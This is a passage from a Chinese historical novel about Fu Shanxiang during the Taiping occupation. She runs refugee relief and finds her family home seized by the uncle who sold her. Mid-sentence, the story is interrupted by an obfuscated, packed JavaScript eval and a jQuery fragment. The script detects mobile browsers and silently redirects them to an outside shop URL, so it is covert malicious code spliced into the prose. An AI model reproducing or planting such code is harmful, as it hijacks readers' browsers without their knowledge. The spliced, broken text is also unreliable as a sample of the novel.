安民策被批了。林凤祥在章程上画了一个圈，写了一个“行”字。字写得不好看，歪歪扭扭的，像小孩子写的。但那个“行”字，比任何漂亮的字都让傅善祥觉得踏实。她开始做事。第一件事是清点空屋。她带着两个女兵，走遍了南京城外的每一个村镇。每到一个地方，她先数有多少间空屋，记下位置、大小、状况——屋顶漏不漏，墙倒没倒，门还在不在。然后她把这些空屋画成一张图，用不同的符号标注不同状况的屋子。圆圈是完好可住的，三角是修补后可住的，叉是已经塌了不能住的。她没有学过画图，但她画的图连林凤祥都说“看得懂”。第二件事是安置难民。她按照空屋的位置和大小，把难民分成组，每组指定一个组长。组长负责领粮食、分粥、维持秩序、处理纠纷。组长的选择不看身份、不看贫富、不看识字不识字，看两点：肯不肯干活，肯不肯吃亏。肯干活、肯吃亏的人，大家服。粥厂也办起来了。傅善祥亲自去看了几次粥——不是走马观花地看，是走到锅边，拿起勺子，舀一勺起来看稀稠。太稀的，她让加粮；太稠的，她不让减——稠了好，稠了顶饿。大夫不够，她去找了镇上药铺的掌柜。那个掌柜——就是上次卖给她决明子、说“整个镇上就我这一家药铺还开着”的那个——答应了。不是因为良心发现，是因为傅善祥给他开了条件：出诊一天，给一斤米。一斤米，够他全家吃一天。他来了，带着他那个胖徒弟。师徒俩在破庙里支了一张桌子，给难民看病。伤口化脓的，清洗、上药、包扎；发烧咳嗽的，开方、抓药、嘱咐多喝热水。药不够了，傅善祥就去富户的宅子里搜。富户跑了，带不走的药材堆在库房里发霉。她把那些药材一样一样地清理出来，分类、标记、登记造册。有些药材她认不得，就去请教大夫。一来二去，她认得了几十种药材——黄连、黄芪、当归、川芎、白术、茯苓。药材有了，大夫有了，伤病的人有了去处。破庙里的老人腿上的伤口开始结痂了，苍蝇不再围着他转。那个没有奶水的母亲，喝了几天的粥，身体好了一些，奶水竟然回来了。婴儿不哭了，吃饱了睡得香，小脸红扑扑的，像一只熟透了的苹果。小满和石头被送进了收养局。收养局设在镇上一座空置的祠堂里，条件一般，但干净、不漏雨、有饭吃、有人管。负责照顾孩子的是一个五十多岁的老妇人，姓周，孩子们叫她“周妈妈”。周妈妈自己也有孩子在战乱中走散了，不知道是死是活。她把那些孩子当自己的孩子养，喂饭、洗衣、哄睡，夜里起来给他们盖被子，一个也没落下。傅善祥每隔几天去看一次。每次去，小满都跑过来抱住她的腿，不说话，就那么抱着。她蹲下来，摸摸他的头。“小满，乖不乖？”小满点头。“听话不听？”小满点头。她把自己带来的干粮分给他，他接过去，掰一半给石头，又掰一小块塞进自己嘴里，嚼着嚼着就笑了。他笑起来的时候，眼睛弯弯的，像两道小小的彩虹。阿芸留在了李家。她的肚子越来越大了，走不了路。刘婶照顾她，给她熬红糖水，煮鸡蛋——鸡蛋是那两只老母鸡下的，一天两个，攒着，舍不得吃，都留给阿芸。傅善祥从南京给她带了一包红枣，让她泡水喝。阿芸捧着那包红枣，看了很久，眼眶红了，但没有哭。“善祥，你说我生的是男还是女？”“都好。”“我想要女的。”“为什么？”“女的……女的像你。”阿芸低下头，摸着肚子，声音很轻很轻。“像你一样坚强。”傅善祥没有说话。她伸出手，摸了摸阿芸的肚子。肚子里的小东西踢了她一脚，不轻不重，刚好让她感觉到。一个生命，在她的手心里动了一下。从江边到现在，她一直在做事——清空屋、安置难民、办粥厂、找大夫、收养孤儿。一件接一件，像穿珠子一样，一颗一颗地穿起来，穿成一条链子。她以为那条链子是“安民策”，以为自己在执行安民策里的每一条。但现在她忽然发现，安民策不重要。重要的是这些人，这些事，这一刻——阿芸肚子里的孩子踢了她一脚。她把手收回来，站起来。“阿芸，我过几天再来看你。”“好。”她走出院子，走过影壁，推开大门。门轴“吱呀”一声，像在跟她告别。她没有回头，但她知道，身后有人在看她。刘婶站在灶房门口，手里拿着勺子；王婆婆坐在西厢房门口，耳朵朝着她的方向；小荷蹲在石榴树下，手里攥着一根树枝。她们在看她。她走在巷子里，春天的风吹过来，暖洋洋的，带着青草和泥土的气息。墙角的一株野花开了，很小的一朵，淡紫色的，花瓣上还沾着露水。她蹲下来，看了看那朵花，没有摘。她站起来，继续走。
走了一半，她忽然停下了脚步。不是累了，不是想起了什么，是——她看见了一样东西。傅家。井儿胡同的傅家。她的家。祖父取名的书房在这里，母亲绣花的东厢房在这里，爹爹读《孟子》的声音在这里，弟弟没来得及穿的那双小布鞋在这里。这里是她出生、长大、被爱、被护、然后被命运连根拔起的地方。她已经很久没有来了。不是不想来，是不敢来。但今天，井儿胡同在。傅家也在。只是——傅家已经不是傅家了。她站在巷口，远远地看着那扇门。门板上的漆已经剥落了大半，露出下面灰白色的木头，像一张褪了色的脸。门环还在，但铜环上的锈迹又多了几块，青绿色的，像长了老年斑。门槛磨得光滑发亮，那是很多人踩过、跨过、走过的痕迹。她走的时候，门槛还是深的，现在变浅了。但门楣上多了一样东西。一块匾额。“傅宅”。两个字，漆色很新，红底金字，在午后的阳光里闪闪发亮，刺得她眼睛发酸。她走过去，站在门口，往里面看。影壁被重新刷过了。原来的白灰被刮掉了，露出下面的青砖，砖缝用白灰重新勾过，整整齐齐的，像一排排整齐的牙齿。影壁正中嵌着一块新制的砖雕——不是五福捧寿，是“福”字，端端正正的一个楷书“福”字，笔画饱满，漆成金色，在午后的阳光里闪闪发亮。第一进院子里，一个穿着蓝布短褂的仆人在扫地。扫帚是新的，竹枝扎得密密的，扫起来“唰唰”地响，节奏均匀，不紧不慢，像一个人在练字。墙角堆着几盆花，不是常见的指甲花、太阳花，是正经的盆景——五针松、六月雪、雀梅，盆盆都是紫砂的，盆面上长着薄薄的青苔。正厅的门敞开着。里面的家具换了——不是傅知留下的那些榆木旧物，是崭新的红木桌椅，漆面光亮如镜，能照见人影。中堂画也换了，不是墨竹，是一幅《富贵长春图》，牡丹盛开，色彩浓艳，画得不算好，但框子很大，金灿灿的，很唬人。“你找谁？”一个声音从里面传来。傅善祥转过头。一个四十来岁的男人从正厅里走出来，穿着一件蓝绸长衫，料子很好，剪裁合身，腰间系着一条银丝绦带，绦带上挂着一块白玉佩。他的脸很圆，眼睛很小，下巴上有一颗痣，痣上长着一根长长的白毛。他站在正厅门口，上下打量着傅善祥，目光在她身上停留了片刻，从她的脸看到她的脚，从她的脚看到她的包袱，从包袱看到她的手。那目光是商人看货的目光——快速、精准、不带感情。傅善祥认识这个人。她八岁的时候，这个人蹲在她面前，说“善祥，伯父送你去你外祖家”。她信了。她跟着他走出了傅家的大门。然后她被他卖掉了。“我找傅家的人。”傅善祥说。傅平笑了一下。那笑容像一块被揉皱的布，皱巴巴的，看不出是真笑还是假笑。“这里就是傅家。”“这里以前是傅知傅老爷的家。”“现在是傅平的傅家了。”傅平的语气很平静，平静得像在说一件理所当然的事——太阳从东边升起，从西边落下，井儿胡同的傅宅现在是傅平的。“太平军打来的时候，叔父可是出了大力的。”傅平从袖子里掏出一把折扇，“啪”地甩开，扇面上画着一幅山水，笔墨潦草，像是随便涂的。他扇了两下，又合上，用扇子指了指院子。“粮食，捐了。银子，捐了。布匹，捐了。太平军的林将军亲自批的，这宅子，归我了。”他站在门口，不往里让，也不往外赶。就那么站着，像一堵墙，不高，不厚，但你推不动。因为他身后有人——太平军。他的宅子是太平军批的。他的匾额是光明正大挂上去的。他的一切都是合法的。不合法的，是傅善祥。她才是那个不应该出现在这里的人。“善祥，你要是没地方住，叔父可以收留你。”傅平的语气忽然变得温和了，温和得像一个真正的长辈在关心一个流落在外多年的侄女。“叔父这里虽然不大，但多一个人吃饭，还是养得起的。你回来了，就住下。叔父不会亏待你。”他在示好。不是因为良心发现，是因为他看见了——傅善祥的包袱虽然旧，但她的气色不是难民的气色。她身上穿着月白色的棉袄，虽然旧但干净。她的头发用木簪别着，梳得整整齐齐。她站在他的“傅宅”门口，背挺得笔直，像一个有身份的人。他在试探。他不知道她这几年经历了什么，不知道她现在是做什么的，不知道她身后有没有人。他先示好，看看她的反应。如果她接受了，那她就是“回来投靠亲戚的侄女”，他收留她，面子上好看，里子也不亏——多一个人干活，还不用给工钱。如果她不接受，他也没有损失。傅善祥看着他的眼睛。那双眼睛在笑。嘴角往上翘着，眼角往下耷拉着，整张脸的表情是“慈爱”，但眼睛里的光是平静的，平静得像一潭死水，什么也没有。她在李家见过这种眼神。老吴管家说“你放心”的时候，就是这种眼神。
她没有说话。她知道，说什么都没用。房子是太平军批给他的。东西是他“捐”了粮食换来的。她在太平军里做事，但她不能利用太平军的权力来对付傅平。如果她那样做，她和傅平有什么区别？她不是来讨回房子的。她是来——她来做什么？她站在“傅宅”门口，看着那块红底金字的匾额，看了很久。她是来确认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702488|208219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一件事的。确认傅家还在。确认那棵歪脖子石榴树还在不在，确认母亲绣花的东厢房还在不在，确认祖父赐名的书房还在不在。它们在。但它们不是她的了。她转过身，走了。她没有回头。她怕自己一回头，就走不了了。
第二天，她去了柳叶巷。外祖父家的五进宅子还在，但大门紧闭，门板上贴着太平军的封条。她在门口站了很久，想敲门，手指碰到门板的时候，又缩了回来。她找了邻居打听。邻居是一个六十多岁的老太太，正在门口晒太阳，手里端着一碗茶，茶已经凉了，她也不喝，就那么端着，像是在等什么人。“李家？李原家？”老太太想了想，“搬走了。搬了好几年了。好像是苏州，还是杭州？记不清了。做布匹生意的，听说生意做大了，搬到南方去了。那边丝绸便宜，水路也方便。”“搬走之前，有没有留下什么话？”老太太又想了想，摇了摇头。“没有。走得急。好像是那年秋天走的，走之前还在院子里晒了一院子的被褥，第二天就没人了。被褥也没收，晾在绳子上，晾了好几天，后来被邻居收了。”傅善祥站在那里，看着那扇紧闭的大门。门缝里长出了草——不是野草，是那种细细的、软软的、贴着地面长的草，绿油油的，像一条条小小的绿蛇。院子里那棵老桂树，枝桠从墙头伸出来，枝条上已经冒出了新芽，嫩绿嫩绿的。她站了很久，久到老太太喝完了一碗茶，站起来，拍了拍身上的灰，端着空碗走回了屋里。她转过身，走了。
她没有找到外祖父。但她没有停下来。她开始托人打听。张婉如、林凤祥军中的文书、粥厂的管事、医馆的大夫、收养局的周妈妈——她问了她能问的每一个人。“你听说过苏州做布匹生意的李原吗？”“没有。”“杭州呢？”“也没有。”“松江？常州？镇江？”“没听说过。”她把这个名字告诉每一个人。每告诉一个人，她就多一分希望，也多一分失望。希望是一次一次的，失望也是一次一次的。但她没有放弃。她写信。写给苏州的太平军驻军，写给杭州的太平军驻军，写给松江、常州、镇江、扬州、所有她听说过的、有布匹生意的地方。每一封信都是她亲手写的，字迹工整，语气恳切。她在信里写——李原，原南京上元县人，做布匹生意，约在道光二十八年至二十九年间迁至贵地。知其下落者，请函复南京城西柳叶巷张宅傅善祥收。她把信寄出去，然后等。等了一天，两天，三天。没有回信。等了一周，两周，三周。没有回信。她知道，也许永远不会有回信。外祖父也许不在苏州，不在杭州，不在她知道的任何一个地方。也许在，但不肯见她。也许已经不在了。她不知道。她只知道——她找了。她不会停下来。安民策一条一条地变成了真的。空屋打开了，难民住进去了，粥厂开张了，医馆看病了，收养局收留了孩子。她每天都很忙。忙到没有时间去想傅平，没有时间去想外祖父，没有时间去想李安去了哪里、老吴有没有遭报应、李夫人还记不记得她。忙到没有时间难过。她每天天不亮就起来，点灯、研墨、铺纸、看文书。难民的情况、粮食的消耗、药材的库存、孤儿的数目、农田的分配，每一样都要看，每一样都要记，每一样都要算。她的脑子像一个算盘，噼里啪啦地打着，从早打到晚，从白打到黑。打完了，她把数字写下来，写在一张一张的纸上，叠成一摞一摞的，用夹子夹着，放在书桌上。张婉如有时候来看她，看见她书桌上那摞纸，说了一句：“你这是要把自己累死。”傅善祥没有抬头，手里的笔没有停。“不会累死的。累死了，谁干活？”张婉如看着她，想说什么，又咽回去了。她走过去，把那盏快灭了的油灯拨亮了一些，然后把一碗饭放在书桌上。“吃。吃完再写。”傅善祥放下笔，端起碗，吃了一口。饭是凉的，菜也是凉的，但她不在乎。她吃得很慢，一粒一粒地嚼，像是在品尝什么很珍贵的东西。她吃完，把碗放下，重新拿起笔。张婉如站在门口，看了她一会儿，转身走了。傅善祥继续写。窗外的天快亮了。东边的天际泛着一层淡淡的鱼肚白，灰蒙蒙的，像一张被水洗过的宣纸，还没有干透，水分还在纸面上慢慢洇开。远处的鸡叫了，一声，两声，三声，此起彼伏，像在互相应和。新的一天开始了。她放下笔，站起来，走到窗前，推开窗户。风吹进来，带着清晨的凉意和青草的气息。院子里的桂花树在风里轻轻摇晃，叶子上的露珠被风吹落，一滴一滴的，像眼泪，又不像眼泪——眼泪是咸的，露水是无味的。她伸出手，接住了一滴露水。凉凉的，在手心里滚动了一下，然后不动了。她低头看着手心里的那滴露水，看了好一会儿，然后把水甩掉，关上窗户，坐回书桌前。她拿起笔，蘸了墨，在纸上写下了今天要做的第一件事——“粥厂。今日新增难民二百三十人。粮不够，需调拨。”窗外，太阳升起来了。她还在写。